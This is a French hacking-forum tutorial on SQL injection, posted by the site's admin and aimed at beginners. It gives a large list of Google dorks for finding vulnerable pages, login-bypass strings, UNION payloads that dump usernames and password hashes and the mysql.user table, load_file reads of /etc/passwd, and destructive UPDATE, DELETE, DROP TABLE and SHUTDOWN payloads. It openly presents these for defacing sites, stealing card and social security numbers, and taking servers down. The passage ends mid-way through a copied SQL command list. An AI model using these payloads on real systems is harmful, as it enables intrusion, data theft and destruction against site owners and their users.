Hacker-Organisation

Bienvenue sur Hacker Organisation ! Ici, tu trouvera des Logiciel de hack, ainsi que des tutos, des pages de hack ! Et plein d'autre encore..

Derniers sujets

Décembre 2016

LunMarMerJeuVenSamDim
   1234
567891011
12131415161718
19202122232425
262728293031 

Calendrier Calendrier

Partenaires


créer un forum

      


    Injection SQL

    Partagez

    XxPrO-K1Ll3uR
    Admin

    Messages : 66
    Reputation de Hack : 201
    Date d'inscription : 19/05/2012

    Injection SQL

    Message  XxPrO-K1Ll3uR le Sam 19 Mai - 14:22

    Salut tout le monde

    Aujourd'hui je vais vous montrez les différentes façon de faire une injection SQL

    Sommaire :

    - Qu'est-ce que la base de données ?
    - Dorks SQLi
    - Bypassing Logins
    - Accès aux données secrètes
    - Vérification de la vulnérabilité
    - Trouver le nombre de colonnes
    - Aborder partie vulnérable
    - Trouver la version de MySQL
    - MySQL 5 injections
    - MySQL 4 injections
    - Modification du contenu du site
    - Arrêter le serveur MySQL
    - LoadFile
    - MySQL Root
    - Les principales commandes MySQL
    - Sécurisé une SQLi
    - Blind SQL
    - Finalisation de ce tutoriel
    - Conclusion

    1x0.0 - Intro :

    Dans ce tutoriel, je vais démontrer l'injection SQL dans la perspective d'un débutant afin que tous sois capable de faire une SQL injection sans Havij ou autre.

    2x0.0 - Qu'est-ce que l'injection SQL ?

    L’injection SQL est probablement la faille de programmation le plus abondante qui existe sur le web à l'heure actuelle !
    Elle est la vulnérabilité à travers lequel une personne non autorisée peut accéder aux données diverses.

    Avec la SQLi, nous interagissons avec la BDD avec les différentes commandes et ceux pour obtenir différentes informations/données de cette dernière.
    Dans ce tutoriel, je voudrais discuter trois aspects de l'injection SQL, savoir contournés les connexions, l'accès aux données secrètes et modifier le contenu de la page.

    3x0.0 - Dorks SQLi

    Citation :
    inurl:index.php?id=
    inurl:trainers.php?id=
    inurl:buy.php?category=
    inurl:article.php?ID=
    inurl:play_old.php?id=
    inurl:declaration_more.php?decl_id=
    inurl:Pageid=
    inurl:games.php?id=
    inurl:page.php?file=
    inurl:newsDetail.php?id=
    inurl:gallery.php?id=
    inurl:article.php?id=
    inurl:show.php?id=
    inurl:staff_id=
    inurl:newsitem.php?num=
    inurl:readnews.php?id=
    inurl:top10.php?cat=
    inurl:historialeer.php?num=
    inurl:reagir.php?num=
    inurl:forum_bds.php?num=
    inurl:game.php?id=
    inurl:view_product.php?id=
    inurl:newsone.php?id=
    inurl:sw_comment.php?id=
    inurl:news.php?id=
    inurl:avd_start.php?avd=
    inurl:event.php?id=
    inurl:product-item.php?id=
    inurl:sql.php?id=
    inurl:news_view.php?id=
    inurl:select_biblio.php?id=
    inurl:humor.php?id=
    inurl:aboutbook.php?id=
    inurl:fiche_spectacle.php?id=
    inurl:communique_detail.php?id=
    inurl:sem.php3?id=
    inurl:kategorie.php4?id=
    inurl:news.php?id=
    inurl:index.php?id=
    inurl:faq2.php?id=
    inurl:show_an.php?id=
    inurl:preview.php?id=
    inurl:loadpsb.php?id=
    inurl:opinions.php?id=
    inurl:spr.php?id=
    inurl:pages.php?id=
    inurl:announce.php?id=
    inurl:clanek.php4?id=
    inurl:participant.php?id=
    inurl:download.php?id=
    inurl:main.php?id=
    inurl:review.php?id=
    inurl:chappies.php?id=
    inurl:read.php?id=
    inurl:prod_detail.php?id=
    inurl:viewphoto.php?id=
    inurl:article.php?id=
    inurl:person.php?id=
    inurl:productinfo.php?id=
    inurl:showimg.php?id=
    inurl:view.php?id=
    inurl:website.php?id=
    inurl:hosting_info.php?id=
    inurl:gallery.php?id=
    inurl:rub.php?idr=
    inurl:view_faq.php?id=
    inurl:artikelinfo.php?id=
    inurl:detail.php?ID=
    inurl:index.php?=
    inurl:profile_view.php?id=
    inurl:category.php?id=
    inurl:publications.php?id=
    inurl:fellows.php?id=
    inurl:downloads_info.php?id=
    inurl:prod_info.php?id=
    inurl:shop.php?do=part&id=
    inurl:Productinfo.php?id=
    inurl:collectionitem.php?id=
    inurl:band_info.php?id=
    inurl:product.php?id=
    inurl:releases.php?id=
    inurl:ray.php?id=
    inurl:produit.php?id=
    inurl:pop.php?id=
    inurl:shopping.php?id=
    inurl:productdetail.php?id=
    inurl:post.php?id=
    inurl:viewshowdetail.php?id=
    inurl:clubpage.php?id=
    inurl:memberInfo.php?id=
    inurl:section.php?id=
    inurl:theme.php?id=
    inurl:page.php?id=
    inurl:shredder-categories.php?id=
    inurl:tradeCategory.php?id=
    inurl:product_ranges_view.php?ID=
    inurl:shop_category.php?id=
    inurl:transcript.php?id=
    inurl:channel_id=
    inurl:item_id=
    inurl:newsid=
    inurl:trainers.php?id=
    inurl:news-full.php?id=
    inurl:news_display.php?getid=
    inurl:index2.php?option=
    inurl:readnews.php?id=
    inurl:top10.php?cat=
    inurl:newsone.php?id=
    inurl:event.php?id=
    inurl:product-item.php?id=
    inurl:sql.php?id=
    inurl:aboutbook.php?id=
    inurl:review.php?id=
    inurl:loadpsb.php?id=
    inurl:ages.php?id=
    inurl:material.php?id=
    inurl:clanek.php4?id=
    inurl:announce.php?id=
    inurl:chappies.php?id=
    inurl:read.php?id=
    inurl:viewapp.php?id=
    inurl:viewphoto.php?id=
    inurl:rub.php?idr=
    inurl:galeri_info.php?l=
    inurl:review.php?id=
    inurl:iniziativa.php?in=
    inurl:curriculum.php?id=
    inurl:labels.php?id=
    inurl:story.php?id=
    inurl:look.php?ID=
    inurl:newsone.php?id=
    inurl:aboutbook.php?id=
    inurl:material.php?id=
    inurl:opinions.php?id=
    inurl:announce.php?id=
    inurl:rub.php?idr=
    inurl:galeri_info.php?l=
    inurl:tekst.php?idt=
    inurl:newscat.php?id=
    inurl:newsticker_info.php?idn=
    inurl:rubrika.php?idr=
    inurl:rubp.php?idr=
    inurl:offer.php?idf=
    inurl:art.php?idm=
    inurl:title.php?id=
    trainers.php?id=
    article.php?ID=
    play_old.php?id=
    declaration_more.php?decl_id=
    Pageid=
    games.php?id=
    newsDetail.php?id=
    staff_id=
    historialeer.php?num=
    product-item.php?id=
    news_view.php?id=
    humor.php?id=
    communique_detail.php?id=
    sem.php3?id=
    opinions.php?id=
    spr.php?id=
    pages.php?id=
    chappies.php?id=
    prod_detail.php?id=
    viewphoto.php?id=
    view.php?id=
    website.php?id=
    hosting_info.php?id=
    gery.php?id=
    detail.php?ID=
    publications.php?id=
    Productinfo.php?id=
    releases.php?id=
    ray.php?id=
    produit.php?id=
    pop.php?id=
    shopping.php?id=
    productdetail.php?id=
    post.php?id=
    section.php?id=
    theme.php?id=
    page.php?id=
    shredder-categories.php?id=
    product_ranges_view.php?ID=
    shop_category.php?id=
    channel_id=
    newsid=
    news_display.php?getid=
    ages.php?id=
    clanek.php4?id=
    review.php?id=
    iniziativa.php?in=
    curriculum.php?id=
    labels.php?id=
    look.php?ID=
    galeri_info.php?l=
    tekst.php?idt=
    newscat.php?id=
    newsticker_info.php?idn=
    rubrika.php?idr=
    offer.php?idf=
    "id=" & intext:"Warning: mysql_fetch_array()
    "id=" & intext:"Warning: getimagesize()
    "id=" & intext:"Warning: session_start()
    "id=" & intext:"Warning: mysql_num_rows()
    "id=" & intext:"Warning: mysql_query()
    "id=" & intext:"Warning: array_merge()
    "id=" & intext:"Warning: preg_match()
    "id=" & intext:"Warning: ilesize()
    "id=" & intext:"Warning: filesize()
    index.php?id=
    buy.php?category=
    article.php?ID=
    play_old.php?id=
    newsitem.php?num=
    top10.php?cat=
    historialeer.php?num=
    reagir.php?num=
    Stray-Questions-View.php?num=
    forum_bds.php?num=
    game.php?id=
    view_product.php?id=
    sw_comment.php?id=
    news.php?id=
    avd_start.php?avd=
    event.php?id=
    sql.php?id=
    news_view.php?id=
    select_biblio.php?id=
    humor.php?id=
    ogl_inet.php?ogl_id=
    fiche_spectacle.php?id=
    communique_detail.php?id=
    sem.php3?id=
    kategorie.php4?id=
    faq2.php?id=
    show_an.php?id=
    preview.php?id=
    loadpsb.php?id=
    opinions.php?id=
    spr.php?id=
    announce.php?id=
    participant.php?id=
    download.php?id=
    main.php?id=
    review.php?id=
    chappies.php?id=
    read.php?id=
    prod_detail.php?id=
    article.php?id=
    person.php?id=
    productinfo.php?id=
    showimg.php?id=
    view.php?id=
    website.php?id=
    hosting_info.php?id=
    gery.php?id=
    rub.php?idr=
    view_faq.php?id=
    artikelinfo.php?id=
    detail.php?ID=
    index.php?=
    profile_view.php?id=
    category.php?id=
    publications.php?id=
    fellows.php?id=
    downloads_info.php?id=
    prod_info.php?id=
    shop.php?do=part&id=
    collectionitem.php?id=
    band_info.php?id=
    product.php?id=
    releases.php?id=
    ray.php?id=
    produit.php?id=
    pop.php?id=
    shopping.php?id=
    productdetail.php?id=
    post.php?id=
    viewshowdetail.php?id=
    clubpage.php?id=
    memberInfo.php?id=
    section.php?id=
    theme.php?id=
    page.php?id=
    shredder-categories.php?id=
    tradeCategory.php?id=
    product_ranges_view.php?ID=
    shop_category.php?id=
    transcript.php?id=
    channel_id=
    item_id=
    newsid=
    trainers.php?id=
    news-full.php?id=
    news_display.php?getid=
    index2.php?option=
    readnews.php?id=
    newsone.php?id=
    product-item.php?id=
    pages.php?id=
    clanek.php4?id=
    viewapp.php?id=
    viewphoto.php?id=
    galeri_info.php?l=
    iniziativa.php?in=
    curriculum.php?id=
    labels.php?id=
    story.php?id=
    look.php?ID=
    aboutbook.php?id=
    "id=" & intext:"Warning: mysql_fetch_assoc()
    "id=" & intext:"Warning: is_writable()
    "id=" & intext:"Warning: Unknown()
    "id=" & intext:"Warning: mysql_result()
    "id=" & intext:"Warning: pg_exec()
    "id=" & intext:"Warning: require()
    buy.php?category=
    pageid=
    page.php?file=
    show.php?id=
    newsitem.php?num=
    readnews.php?id=
    top10.php?cat=
    reagir.php?num=
    Stray-Questions-View.php?num=
    forum_bds.php?num=
    game.php?id=
    view_product.php?id=
    sw_comment.php?id=
    news.php?id=
    avd_start.php?avd=
    event.php?id=
    sql.php?id=
    select_biblio.php?id=
    ogl_inet.php?ogl_id=
    fiche_spectacle.php?id=
    kategorie.php4?id=
    faq2.php?id=
    show_an.php?id=
    loadpsb.php?id=
    announce.php?id=
    participant.php?id=
    download.php?id=
    article.php?id=
    person.php?id=
    productinfo.php?id=
    showimg.php?id=
    rub.php?idr=
    view_faq.php?id=
    artikelinfo.php?id=
    index.php?=
    profile_view.php?id=
    category.php?id=
    fellows.php?id=
    downloads_info.php?id=
    prod_info.php?id=
    shop.php?do=part&id=
    collectionitem.php?id=
    band_info.php?id=
    product.php?id=
    viewshowdetail.php?id=
    clubpage.php?id=
    memberInfo.php?id=
    tradeCategory.php?id=
    transcript.php?id=
    item_id=
    news-full.php?id=
    aboutbook.php?id=
    preview.php?id=
    material.php?id=
    read.php?id=
    viewapp.php?id=
    story.php?id=
    newsone.php?id=
    rubp.php?idr=
    art.php?idm=
    title.php?id=

    4x0.0 - Bypassing Logins

    Supposons, un site a un formulaire de login et que seuls les utilisateurs enregistrés sont autorisés à entrer sur le site. Maintenant, disons que vous voulez contourner le login et entrer sur le site, si le script de connexion n'est pas correctement filtrée par le programmeur, vous pouvez avoir la chance d'entrer dans le site. Vous serez capable de vous connectez sur le site sans connaître le nom d'utilisateur et mot de passe réel, simplement en interagissant avec la BDD.

    Voyons un exemple, où le nom d'utilisateur est "admin" avec le mot de passe est "sam207". Vous vous connecter au site. Supposons que, la requête SQL est la suivante :

    Citation :
    SELECT USER from database WHERE username='admin' AND password='sam207'

    Et si la commande SELECT ci-dessus évalue vrai, l'utilisateur sera alors donné accès au site. Pensez à ce que nous pourrions faire si le script n'est pas protéger. Cela ouvre une porte eux pirates pour accéder au site de manière illégal.

    Dans cet exemple, un attaquant pourrait entrer les données suivantes dans un formulaire de connexion :

    Citation :
    username:a or 1=1--
    password:blank


    Donc, cela rendrait notre requête comme :

    Citation :
    SELECT USER from database WHERE username='a' or 1=1-- AND password=''


    Notez que -- est l'opérateur des commentaires donc tout ce qui est situé après sera ignoré comme un commentaire. Il existe un autre opérateur de commentaire qui est /*

    Donc, notre requête ci-dessus devient :

    Citation :
    SELECT USER from database WHERE username='a' or 1=1


    Maintenant cette requête retourne vrai, même si aucun utilisateur n'est appelé 'a', car 1=1 est toujours vrai et en l'utilisant on rend le retour d'une requête vrai (lorsque l'une des requêtes est vrai). Et cela donne accès au panneau d'administration du site ou vous connectes sur le compte de la victime.

    Il peut y avoir différentes combinaisons login/passwd possible avec les sites vulnérables. On peut créer de nouvelles combinaisons propres pour la connexion au site.
    Voici quelques exemples :

    username:' or 1='1 password:' or 1='1
    username:' or '1'='1' password:' or '1'='1'
    username:or 1=1 password:or 1=1


    En fait, vous pouvez créer vos propres combinaisons de contourner ces logins ...
    C'est tout pour contourner les logins.

    5x0.0 - Accès aux données secrètes

    L'injection SQL n'est pas essentiellement faite seulement pour contourner les connexions, mais elle est également utilisé pour accéder aux données sensibles et secrètes des BDD.

    5x1.0 - Vérification de la vulnérabilité

    Supposons, vous avez un site :

    Citation :
    site.com/article.php?id=5

    Maintenant, pour vérifier si elle est vulnérable, vous avez simplement à ajouter la fin de la variable ID attribué.
    Comme ceci:

    Citation :
    site.com/article.php?id=5'

    Maintenant, si le site n'est pas vulnérable, le filtre et la page se chargerons normalement.
    Mais, si elle ne filtre pas la chaîne de requête, cela donnerait quelque chose comme ci-dessous:
    "MySQL Syntax Error By '5'' In Article.php on line 1."

    L'erreur peut être sous n'importe quelle forme. Donc, il nous faut être sûr que le site est vulnérable.

    Ainsi juste en utilisant ' ne veut pas dire que le site est réellement vulnérable, donc vous pouvez essayer/confirmer différentes choses comme:

    Citation :
    site.com/article.php?id=5+union+select+1--

    Si vous obtenez l'erreur avec ceci, vous venez être un peu prêt sûr que c'est vulnérable.

    Trouver le nombre de colonnes

    Donc, maintenant il temps de trouver le nombre de colonnes présentes. Pour ce faire, nous allons utiliser 'order by' jusqu'à ce que nous obtenons une erreur :

    Citation :
    site.com/article.php?id=5+order+by+1--

    Cela ne donne pas d'erreur.

    Maintenant, je l'augmente à 2 :

    Citation :
    site.com/article.php?id=5+order+by+2--

    Toujours pas d'erreur, nous avons besoin d'augmenter jusqu'à ce que nous obtenons une erreur !

    Dans mon exemple, j'ai eu une erreur quand je mets la valeur 3 :

    Citation :
    site.com/article.php?id=5+order+by+3--

    Cela a donné une erreur.

    Donc, cela signifie qu'il y a deux colonnes dans la table actuelle (3-1 = 2). C'est ainsi que nous trouvons le nombre de colonnes.

    6x0.0 - Aborder la partie vulnérable

    Maintenant, nous devons utiliser la déclaration Union qui va nous permettre de trouver la colonne qui avec, nous pourrons obtenir les données secrètes directement sur la page.

    D'abord créer la déclaration qui ne sera pas d'erreur de 'Union':

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+null--

    Ce serait une erreur car notre requête a besoin d'avoir un nulle de plus comme nous avons 2 colonnes... Aussi nulle peut provoquer des erreurs de conversion de type car il est juste nul, c'est ce que je voulais démontrer dans cette exemple.

    Donc, pour notre injection, elle devient:

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+null,null/*

    Ce qui donne :

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+1,2/*

    Maintenant nous allons voir le(s) numéro(s) sur la page quelque part. Je veux dire, soit 1 ou 2 ou les deux 1 & 2 sont visibles sur la page. Notez que le nombre peut être affiché partout, comme dans le titre de la page ou parfois même dans les balises cachées dans la source ... Donc, cela signifie que nous pouvons remplacer le nombre de nos commandes pour afficher les données privées que la BDD détient.

    Dans mon exemple, 1 est vu sur la page. Cela signifie, je doit remplacer une de mes choses pour aller plus loin. Compris ?

    7x0.0 - Trouver la version de MySQL :

    Pour notre injection, il est nécessaire de trouver la version de MySQL, car si elle est de version 5, notre tâche devient beaucoup plus facile. Pour vérifier la version, il existe deux fonctions, @@version ou version().

    Donc, ce que nous faisons, c'est de remplacer 1 (qui est la partie remplaçable) par @@version à savoir que nous faisons comme ci-dessous:

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+@@version,2--

    ou

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+version(),2--

    Cela va nous retourner la version MySQL utiliser sur le serveur.

    Mais, parfois, vous pouvez obtenir l'erreur avec la requête ci-dessus. Si tel est le cas, nous devons utiliser la fontion unhex(hex()) la fonction comme ceci:

    Citation :
    site.com/article.php?id=UNION+ALL+SELECT+unhex(hex(@@version)),2--

    N'oubliez pas que si vous devez utiliser la fonction unhex(hex()), vous devrez utiliser cette fonction tout le long du processus de votre injection.

    @@version vous donnera la version. Il peut être soit 4 ou 5. Je vais maintenant discuter du processus d'injection pour la version 5 et 4 séparément comme je le disais précédemment, la version 5, est beaucoup plus facile.

    8x0.0 - MySQL version 5 injection:

    Ici, je vais vous montrer comment accéder aux données dans le serveur MySQL 5 ou supérieur.

    Vous avez la version MySQL 5.0.27 standard ou plus, en utilisant la @@version dans le paramètre url.
    MySQL à partir de la version 5 a une fonction utile appelé INFORMATION_SCHEMA. C'est une table qui contient des informations sur les tables et les colonnes présentes dans le serveur BDD. Autrement dit, il contient le nom de toutes les tables et les colonnes du site !

    Pour obtenir la liste des tables, nous utilisons:

    Citation :
    table_name+from+information_schema.tables

    Pour obtenir la liste des colonnes, nous utilisons:

    Citation :
    column_name from information_schema.columns

    Donc, notre requête pour obtenir la liste des tables dans notre exemple serait :

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+table_name,2+FROM+information_schema.tables--

    Et, si vous deviez utiliser unhex(hex()) tout en trouvant la version, vous auriez à faire:

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+unhex(hex(table_name)),2+FROM+information_sche​ma.tables--

    Cela va lister toutes les tables présentes dans la BDD. Pour notre propos, nous allons être à la recherche de la table contenant les informations d'utilisateur et mot de passe. Alors nous regardons la table probable avec cette information. On peut même écrire les noms de table pour davantage de référence et des œuvres. Pour mon exemple, je voudrais utiliser la tbluser puisque c'est la table qui contient les donnés utilisateurs et mot de passe.

    De même, pour obtenir la liste des colonnes, nous devrions utiliser une requête comme:

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM information_schema.columns--

    Cela renvoie toutes les colonnes présentes dans le serveur BDD. Maintenant à partir de cette liste, nous allons chercher les colonnes qui sont susceptible de contenir les nom d'utilisateur et mot de passe.
    Pour mon injection, il y a deux colonnes qui détiennent ces informations.

    Elles sont, nom d'utilisateur et mot de passe. Donc, c'est la colonne que je voulais. Vous devez rechercher et vérifier les colonnes jusqu'à obtenir aucune erreur.

    Alternativement pour trouver la colonne dans la table spécifique, on peut faire quelque chose comme ça:

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM+information_schema.columns+​WHERE+table_name='tbluser'

    Cela va afficher les colonnes présentes dans la table tbluser. Mais cela peut ne pas fonctionner.

    Permettez-moi de vous montrer comment j'ai appris à connaître que les deux ci-dessus appartiennent à colonnes table tbluser. Maintenant laisse moi vous montrez comment afficher le nom d'utilisateur et mot de passe stocké dans le BDD.

    Il y a une fonction appelée concat() qui me permet de joindre les deux colonnes et afficher sur la page. Aussi, je vais utiliser virgule) sous la forme hexadécimal. Sa valeur hexadécimal est 0x3a (C'est un zéro au début et non pas la lettre o.)

    Ce que je fais est:
    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser--

    Et cela me donne le nom d'utilisateur et mot de passe comme ci-dessous:

    Citation :
    admin:9F14974D57DE204E37C11AEAC3EE4940

    Cela me donne le nom d'utilisateur et du mot de passe qui est hasher et dans ce cas, du MD5. Il existe plusieurs hash qui peut être différent comme SHA1, MD5, etc. Ou parfois le mot de passe en texte clair peut être affichée sur la page. Dans ce cas, quand je crack le MD5 j’obtiens le mot de passe sam207.

    Maintenant vous arrivez à la page login admin et vous vous connectez en tant qu'administrateur. Ensuite, vous pouvez faire ce que vous voulez. Voila, c'est tout pour la version de MySQL 5.

    8x0.0 - MySQL version 4 injection :

    Maintenant, si votre victime a la version de MySQL 4. Vous ne serez pas en mesure d'obtenir le nom de la table et le nom de colonne comme dans la version 5 de MySQL, car dans cette version INFORMATION_SCHEMA.TABLES et information_schema.columns n'existent pas.

    Alors maintenant, vous devrez deviner le nom de la table et le nom de colonne jusqu'à ce que vous n'obteniez pas d'erreur. Aussi, si la version de MySQL est inférieure à 5, vous pouvez avoir à dépendre de la chance, des messages d'erreur affichés & .. Parfois, l'erreur vous donnera le nom de la table & nom de la colonne ou qui vous donne une idée pour deviner la bonne table et le(s) nom des colonnes.

    Dites, les rapports d'erreur xenu_article dans l'erreur .. Alors, vous savez que xenu_
    est le préfixe utilisé dans les noms de table ...

    Par exemple, vous feriez comme ci-dessous

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+user--

    Ici, j'ai deviné le nom de table en tant qu'utilisateur. Mais cela m'a donné une erreur car la table avec le nom d'utilisateur n'existe pas sur la BDD. Maintenant j'ai continué à essayer de deviner pour le nom de la table jusqu'à ce que je n'ai pas d'erreur.

    Quand j'ai mis le nom de table comme tbluser, la page c'est chargée normalement. Alors j'en ai conclu que la table tbluser existe !

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+tbluser--

    La page c'est chargée normalement. Maintenant encore, vous devez deviner les noms de colonnes présentes dans la table tbluser.

    Je fais quelque chose comme ci-dessous:

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+user_name,2+FRO+tbluser--
    //cela m'a donné l'erreur il n'y a donc pas de colonne de ce nom.

    site.com/article.php?id=5+UNION+ALL+SELECT+username,2+FROM+tbluser--
    //il chargement de la page normalement avec l'identifiant de la table.

    site.com/article.php?id=5+UNION+ALL+SELECT+pass,2+FROM+tbluser--
    //il donne une erreur de nouveau car la column n'existe pas dans le tbluser table.

    site.com/article.php?id=5+UNION+ALL+SELECT+password,2+FROM+tbluser--
    //la page c'est chargée normalement avec un hash (ou mot de passe en clair).

    Maintenant vous pouvez faire ceci:

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser--

    Cela me donne:

    Citation :
    admin:9F14974D57DE204E37C11AEAC3EE4940

    Maintenant j'ai juste besoin de se connecter sur le site et faire tout ce que je veux...

    Peu de noms de tables, vous pouvez essayer sont: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc.
    Comme dit précédemment, n'oubliez pas de regarder sur les erreurs, car parfois ils donnent (heureusement pour nous) les erreurs avec des noms de table et les noms de colonnes ...

    Vous pouvez essayer ces méthodes afin d'obtenir différentes données telles qu'un numéros de carte de crédit, numéros de sécurité sociale, etc, si la base contient ce type de donnée bien évidemment. Juste ce que vous devez faire est de déterminer les colonnes et les faire afficher sur la page vulnérables.

    9x0.0 - Modification du contenu du site

    Parfois, vous trouverez le site vulnérable et obtenir tout ce savoir, mais vous connecter administrateur est impossible ou bien n'est accessible et autorisé que pour une certaine plage d'IP. Même dans ce contexte, vous pouvez utiliser certaines commandes SQL pour modifier le contenu du site...

    Ici, je vais essentiellement parler de quelques commandes SQL, vous pouvez les utiliser pour changer le contenu du site. C'est Commandes sont le cheval de bataille de MySQL & sont mortelles lorsqu'elles sont exécutées. Mais n'oublier pas que les requêtes empilées ne fonctionnent pas dans MySQL

    D'abord laissez-moi listé ces commandes:

    UPDATE: Il est utilisé pour éditer une infos déjà dans la BDD sans supprimer des lignes.
    DELETE: Il est utilisé pour supprimer le contenu d'un ou plusieurs champs.
    DROP: Il est utilisé pour supprimer complétement une table et toutes les données associées.

    Maintenant, vous aurez compris que ces commandes peuvent être très destructrices si le site nous permet d'interagir avec BDD sans protection et une autorisation non appropriée.

    Utilisation :
    UPDATE: Notre page vulnérables est :

    Citation :
    site.com/article.php?id=5


    Disons que la requête est :

    Citation :
    SELECT title,data,author FROM article WHERE id=5


    Bien que dans la réalité, nous ne savons pas la requête, comme ci-dessus, nous pouvons trouver la table et le nom de colonne.

    Alors que nous ferions :

    Citation :
    site.com/article.php?id=5+UPDATE+article+SET+title='Hacked By The_Keeg'--

    ou, alternativement, vous pouvez faire :

    Citation :
    site.com/article.php?id=5+UPDATE+article+SET+title='Hacked by The_Keeg',data='Your site has zero security',author='The_Keeg'--

    En exécutant la première requête, nous avons mis la valeur du titre comme «Hacked by The_Keeg» dans l'article de table alors que dans la seconde requête, nous avons mis à jour tous les trois champs titre, les données, et auteur de l'article de table.
    Parfois, vous pouvez modifier la page spécifique avec id=5. Pour cela, vous ferez:
    Citation :
    site.com/article.php?id=5+UPDATE+article+SET+title='value 1',data='value 2',author='value 3'+WHERE+id=5--

    DELETE: Comme déjà indiqué, cela supprime le contenu d'un ou plusieurs champs de façon permanente à partir du serveur db.

    10x.0.0 - Utilisation :
    Citation :
    site.com/article.php?id=5+DELETE+title,data,author+FROM+article--

    Ou si vous souhaitez supprimer ces champs de id=5, vous ferez :

    Citation :
    site.com/article.php?id=5+DELETE+title,data,author+FROM+article+WHERE+id=5--

    DROP: Ceci est une autre commande, très dangereuse. Avec cela, vous pouvez supprimer une table et toutes les données associées
    Pour cela, nous faisons :
    Citation :
    site.com/article.php?id=5+DROP+TABLE+article--

    Ce serait supprimer l'article de table et tous ses contenus.

    Enfin, je tiens à dire peu de choses sur cette commande...

    Bien que je n'ai pas utilisé dans mon tutoriel, vous pouvez l'utiliser pour mettre fin à votre première requête et commencer un autre.

    Cela peut être conservé à la fin de notre première requête afin que nous puissions commencer la nouvelle requête après.

    11x0.0 - Arrêter le serveur MySQL

    C'est comme le DoS/DDoS le serveur comme il fera les ressources MySQL indisponible pour les utilisateurs légitimes ou les visiteurs du site ... Pour cela, vous allez utiliser: shutdown with nowait;

    Donc, vous façonner une requête qui exécute la commande ci-dessus...

    Par exemple, dans mon cas, je ferais :

    Citation :
    site.com/article.php?id=5+SHUTDOWN+WITH+NOWAIT;

    Normalement le serveur MySQL est down ... Ce serait d'empêcher les utilisateurs légitimes et les visiteurs du site de l'utilisation ou la visualisation des ressources MySQL xD
    La simplicité de cette attaque n'a d'égal que sa puissance...

    Loadfile

    MySQL dispose d'une fonction appelée load_file que vous pouvez utiliser pour vos prestations de nouveau.
    Je n'ai pas vu de site où je pourrais bien utiliser cette fonction... Je pense que nous devrions avoir le privilège root MySQL pour cette fonction.

    Aussi, les magic_quotes doit être éteint pour l'utiliser.
    Mais il y a une façon bypass les magic_quotes.
    La fonction load_file peut être utilisé pour charger certains fichiers du serveur tels que. htaccess,. htpasswd, etc. & Aussi des fichiers de mot de passe, comme etc/passwd, etc.
    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+load_file('etc/passwd'),2--

    Mais parfois, vous aurez à la partie hexadécimale et faire quelque chose comme ci-dessous:

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+load_file(0x272F6574632F70617373776427)

    Maintenant, si nous sommes chanceux, le script serait l'écho de l'etc/passwd dans le résultat ...

    MySQL Root

    Si la version de MySQL est de 5 ou plus haut, nous pourrions être en mesure d'obtenir les privilèges root de MySQL qui sera de nouveau utile pour nous...
    MySQL depuis la version 5 ont une table appelée mysql.user qui contient les noms d'utilisateur et hashages pour la connexion.
    Il est dans la table user de la base de données MySQL qui est livré avec chaque installation de MySQL.

    Pour cela, vous allez faire:

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+from mysql.user--


    Maintenant, vous obtiendrez le nom d'utilisateur et hash.
    Le hachage est mysqlsha1.

    Les principales commandes MySQL

    Ci-dessous, je voudrais énumérer quelques commandes principales de MySQL, qui pourrait beaucoup vous aidez.

    Toutes les commandes sont là copier collé à partir d'un poste de h4ck**** (La pub pour une autre forum étant interdite ) et le crédit pour cette partie lui revient donc de droit.
    J'aurais pu mais j'ai pensé à mettre la même partie ici.

    Citation :
    ABORT -- abort the current transaction
    ALTER DATABASE -- change a database
    ALTER GROUP -- add users to a group or remove users from a group
    ALTER TABLE -- change the definition of a table
    ALTER TRIGGER -- change the definition of a trigger
    ALTER USER -- change a database user account
    ANALYZE -- collect statistics about a database
    BEGIN -- start a transaction block
    CHECKPOINT -- force a transaction log checkpoint
    CLOSE -- close a cursor
    CLUSTER -- cluster a table according to an index
    COMMENT -- define or change the comment of an object
    COMMIT -- commit the current transaction
    COPY -- copy data between files and tables
    CREATE AGGREGATE -- define a new aggregate function
    CREATE CAST -- define a user-defined cast
    CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
    CREATE CONVERSION -- define a user-defined conversion
    CREATE DATABASE -- create a new database
    CREATE DOMAIN -- define a new domain
    CREATE FUNCTION -- define a new function
    CREATE GROUP -- define a new user group
    CREATE INDEX -- define a new index
    CREATE LANGUAGE -- define a new procedural language
    CREATE OPERATOR -- define a new operator
    CREATE OPERATOR CLASS -- define a new operator class for indexes
    CREATE RULE -- define a new rewrite rule
    CREATE SCHEMA -- define a new schema
    CREATE SEQUENCE -- define a new sequence generator
    CREATE TABLE -- define a new table
    CREATE TABLE AS -- create a new table from the results of a query
    CREATE TRIGGER -- define a new trigger
    CREATE TYPE -- define a new data type
    CREATE USER -- define a new database user account
    CREATE VIEW -- define a new view
    DEALLOCATE -- remove a prepared query
    DECLARE -- define a cursor
    DELETE -- delete rows of a table
    DROP AGGREGATE -- remove a user-defined aggregate function
    DROP CAST -- remove a user-defined cast
    DROP CONVERSION -- remove a user-defined conversion
    DROP DATABASE -- remove a database
    DROP DOMAIN -- remove a user-defined domain
    DROP FUNCTION -- remove a user-defined function
    DROP GROUP -- remove a user group
    DROP INDEX -- remove an index
    DROP LANGUAGE -- remove a user-defined procedural language
    DROP OPERATOR -- remove a user-defined operator
    DROP OPERATOR CLASS -- remove a user-defined operator class
    DROP RULE -- remove a rewrite rule
    DROP SCHEMA -- remove a schema
    DROP SEQUENCE -- remove a sequence
